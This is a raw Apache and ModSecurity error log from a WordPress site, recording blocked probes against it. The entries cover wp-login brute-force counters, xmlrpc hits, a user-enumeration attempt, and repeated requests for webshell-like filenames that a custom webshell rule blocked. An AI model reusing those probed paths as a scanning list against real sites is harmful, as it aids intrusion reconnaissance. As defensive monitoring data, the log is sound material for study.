[Tue Dec 16 04:15:43.893711 2025] [autoindex:error] [pid 65266:tid 65285] [client 45.154.138.16:53063] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:15:47.518360 2025] [autoindex:error] [pid 65266:tid 65295] [client 45.154.138.16:53063] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:15:47.964156 2025] [autoindex:error] [pid 65266:tid 65287] [client 45.154.138.16:53063] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:15:48.380908 2025] [autoindex:error] [pid 65266:tid 65282] [client 45.154.138.16:53063] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:15:51.731202 2025] [autoindex:error] [pid 65266:tid 65280] [client 45.154.138.16:53063] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:15:52.552785 2025] [autoindex:error] [pid 65266:tid 65293] [client 45.154.138.16:53063] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:15:53.315215 2025] [autoindex:error] [pid 65266:tid 65292] [client 45.154.138.16:53063] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:15:53.796720 2025] [autoindex:error] [pid 65266:tid 65295] [client 45.154.138.16:53063] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 05:30:01.238278 2025] [:error] [pid 51991:tid 52012] [client 51.210.183.228:55396] [client 51.210.183.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.210.183.228, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUB92a7zKCVJSuwV1xYzzwAAARM"]
[Tue Dec 16 07:57:16.260599 2025] [:error] [pid 35998:tid 36018] [client 123.31.41.118:34082] [client 123.31.41.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 123.31.41.118, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUCgXBKnhGuuhGxBSLP8jwAAAVE"]
[Tue Dec 16 08:13:41.017077 2025] [:error] [pid 18324:tid 18387] [client 144.6.226.119:55640] [client 144.6.226.119] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "66.249.64.128_2d969d8071b542d61d3e68d48bb83cae7a49d5cb"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wpforms/assets/lib/mailcheck.min.js"] [unique_id "aUCkMqG4um2mD1VpJHLPVAAAAIc"], referer: https://vetstars.com.au/appointment/
[Tue Dec 16 09:40:06.723411 2025] [:error] [pid 18322:tid 18326] [client 182.44.2.148:59422] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUC4dpsCeWBjrw28XtxefAAAAAA"]
[Tue Dec 16 11:44:05.451282 2025] [:error] [pid 12330:tid 12334] [client 170.106.197.109:58956] [client 170.106.197.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUDVhV6iIQEVCIh8V1nxQwAAAYA"]
[Tue Dec 16 12:36:15.716328 2025] [proxy_fcgi:error] [pid 18322:tid 18349] [client 103.4.122.14:53580] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Tue Dec 16 12:36:29.946649 2025] [proxy_fcgi:error] [pid 12330:tid 12357] [client 103.4.122.14:53660] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Tue Dec 16 12:53:53.295561 2025] [:error] [pid 18408:tid 18420] [client 136.117.94.162:53947] [client 136.117.94.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.94.162, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUDl4Ti2Gr8pDzjrVBCSUQAAAMo"]
[Tue Dec 16 12:53:56.941975 2025] [:error] [pid 18408:tid 18416] [client 136.117.94.162:53947] [client 136.117.94.162] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUDl5Di2Gr8pDzjrVBCSVgAAAMY"]
[Tue Dec 16 12:53:59.414861 2025] [:error] [pid 18408:tid 18414] [client 136.117.94.162:53947] [client 136.117.94.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.94.162, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUDl5zi2Gr8pDzjrVBCSdAAAAMQ"]
[Tue Dec 16 14:52:07.100267 2025] [:error] [pid 51991:tid 52000] [client 209.126.12.10:48470] [client 209.126.12.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.126.12.10, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUEBl67zKCVJSuwV1xY3fAAAAQc"]
[Tue Dec 16 15:01:26.572713 2025] [:error] [pid 18324:tid 18400] [client 49.51.33.159:50920] [client 49.51.33.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aUEDxqG4um2mD1VpJHJR_QAAAJQ"]
[Tue Dec 16 16:05:00.421561 2025] [:error] [pid 51991:tid 52002] [client 14.215.163.132:34863] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aUESrK7zKCVJSuwV1xZZjAAAAQk"]
[Tue Dec 16 16:49:19.886737 2025] [:error] [pid 12330:tid 12343] [client 4.189.124.35:10049] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aUEdD16iIQEVCIh8V1lStAAAAYk"]
[Tue Dec 16 16:49:24.165086 2025] [:error] [pid 18408:tid 18429] [client 4.189.124.35:60278] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aUEdFDi2Gr8pDzjrVBDoOgAAANM"]
[Tue Dec 16 16:49:27.227322 2025] [:error] [pid 51991:tid 52017] [client 4.189.124.35:10080] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yas.php"] [unique_id "aUEdF67zKCVJSuwV1xZsPAAAARg"]
[Tue Dec 16 16:49:29.172184 2025] [:error] [pid 51991:tid 52002] [client 4.189.124.35:59513] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aUEdGa7zKCVJSuwV1xZsPwAAAQk"]
[Tue Dec 16 16:49:30.328949 2025] [:error] [pid 18322:tid 18342] [client 4.189.124.35:60239] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aUEdGpsCeWBjrw28XtzidwAAABA"]
[Tue Dec 16 16:49:32.325185 2025] [:error] [pid 51991:tid 52016] [client 4.189.124.35:62897] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aUEdHK7zKCVJSuwV1xZsQQAAARc"]
[Tue Dec 16 16:49:37.171074 2025] [:error] [pid 12330:tid 12353] [client 4.189.124.35:55958] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aUEdIV6iIQEVCIh8V1lSzQAAAZM"]
[Tue Dec 16 16:49:40.492340 2025] [:error] [pid 18322:tid 18337] [client 4.189.124.35:10071] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tesTyuj.php"] [unique_id "aUEdJJsCeWBjrw28XtzifwAAAAs"]
[Tue Dec 16 16:49:44.428952 2025] [:error] [pid 18324:tid 18380] [client 4.189.124.35:55986] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tesTyuj.php"] [unique_id "aUEdKKG4um2mD1VpJHJxlQAAAIA"]
[Tue Dec 16 16:49:58.321430 2025] [:error] [pid 18324:tid 18387] [client 4.189.124.35:57272] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aUEdNqG4um2mD1VpJHJxpwAAAIc"]
[Tue Dec 16 16:50:01.415817 2025] [:error] [pid 18408:tid 18433] [client 4.189.124.35:55957] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aUEdOTi2Gr8pDzjrVBDoawAAANc"]
[Tue Dec 16 16:50:03.112431 2025] [:error] [pid 18324:tid 18402] [client 4.189.124.35:55964] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aUEdO6G4um2mD1VpJHJxqQAAAJY"]
[Tue Dec 16 16:50:05.213717 2025] [:error] [pid 18322:tid 18332] [client 4.189.124.35:59469] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aUEdPZsCeWBjrw28XtzijAAAAAY"]
[Tue Dec 16 16:50:08.549214 2025] [:error] [pid 51991:tid 51993] [client 4.189.124.35:55941] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aUEdQK7zKCVJSuwV1xZsdQAAAQA"]
[Tue Dec 16 16:50:10.500863 2025] [:error] [pid 12330:tid 12351] [client 4.189.124.35:60270] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aUEdQl6iIQEVCIh8V1lS2gAAAZE"]
[Tue Dec 16 16:50:13.966958 2025] [:error] [pid 18324:tid 18396] [client 4.189.124.35:10090] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aUEdRaG4um2mD1VpJHJxtQAAAJA"]
[Tue Dec 16 16:50:18.270176 2025] [:error] [pid 51991:tid 51993] [client 4.189.124.35:60230] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aUEdSq7zKCVJSuwV1xZsfgAAAQA"]
[Tue Dec 16 16:50:21.048374 2025] [:error] [pid 18408:tid 18426] [client 4.189.124.35:10059] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww3.php"] [unique_id "aUEdTTi2Gr8pDzjrVBDoiQAAANA"]
[Tue Dec 16 16:50:23.433134 2025] [:error] [pid 35998:tid 36002] [client 4.189.124.35:60227] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww3.php"] [unique_id "aUEdTxKnhGuuhGxBSLOQDAAAAUE"]
[Tue Dec 16 16:50:28.435964 2025] [:error] [pid 18408:tid 18434] [client 4.189.124.35:57217] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww3.php"] [unique_id "aUEdVDi2Gr8pDzjrVBDojwAAANg"]
[Tue Dec 16 16:50:29.461206 2025] [:error] [pid 18324:tid 18393] [client 4.189.124.35:10092] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww3.php"] [unique_id "aUEdVaG4um2mD1VpJHJxxwAAAI0"]
[Tue Dec 16 16:50:30.109158 2025] [:error] [pid 12330:tid 12334] [client 4.189.124.35:60229] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "aUEdVl6iIQEVCIh8V1lS-wAAAYA"]
[Tue Dec 16 16:50:34.910820 2025] [:error] [pid 35998:tid 36021] [client 4.189.124.35:59489] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "aUEdWhKnhGuuhGxBSLOQFgAAAVQ"]
[Tue Dec 16 16:50:39.101295 2025] [:error] [pid 18408:tid 18426] [client 4.189.124.35:59488] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "aUEdXzi2Gr8pDzjrVBDonwAAANA"]
[Tue Dec 16 16:50:51.676372 2025] [:error] [pid 35998:tid 36004] [client 4.189.124.35:59480] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/budmachine/web/s.php"] [unique_id "aUEdaxKnhGuuhGxBSLOQPQAAAUM"]
[Tue Dec 16 16:50:54.438741 2025] [:error] [pid 51991:tid 51995] [client 4.189.124.35:60245] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/budmachine/web/s.php"] [unique_id "aUEdbq7zKCVJSuwV1xZs4wAAAQI"]
[Tue Dec 16 16:50:58.523090 2025] [:error] [pid 18324:tid 18386] [client 4.189.124.35:60282] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/budmachine/web/s.php"] [unique_id "aUEdcqG4um2mD1VpJHJyCAAAAIY"]
[Tue Dec 16 16:51:00.612850 2025] [:error] [pid 53940:tid 53966] [client 4.189.124.35:60253] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/budmachine/web/s.php"] [unique_id "aUEddF91PNbcXLVkpR7JUgAAAdc"]
[Tue Dec 16 16:51:03.038757 2025] [:error] [pid 18323:tid 18361] [client 4.189.124.35:10111] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-64wscx6shd.php"] [unique_id "aUEddzJB6UFxIutsA8YI7wAAAEg"]
[Tue Dec 16 16:51:04.752614 2025] [:error] [pid 18324:tid 18384] [client 4.189.124.35:60224] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-64wscx6shd.php"] [unique_id "aUEdeKG4um2mD1VpJHJyEQAAAIQ"]
[Tue Dec 16 16:51:06.263704 2025] [:error] [pid 18408:tid 18418] [client 4.189.124.35:55980] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-64wscx6shd.php"] [unique_id "aUEdeji2Gr8pDzjrVBDo2AAAAMg"]
[Tue Dec 16 16:51:08.672474 2025] [:error] [pid 12330:tid 12341] [client 4.189.124.35:60249] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-64wscx6shd.php"] [unique_id "aUEdfF6iIQEVCIh8V1lTLAAAAYc"]
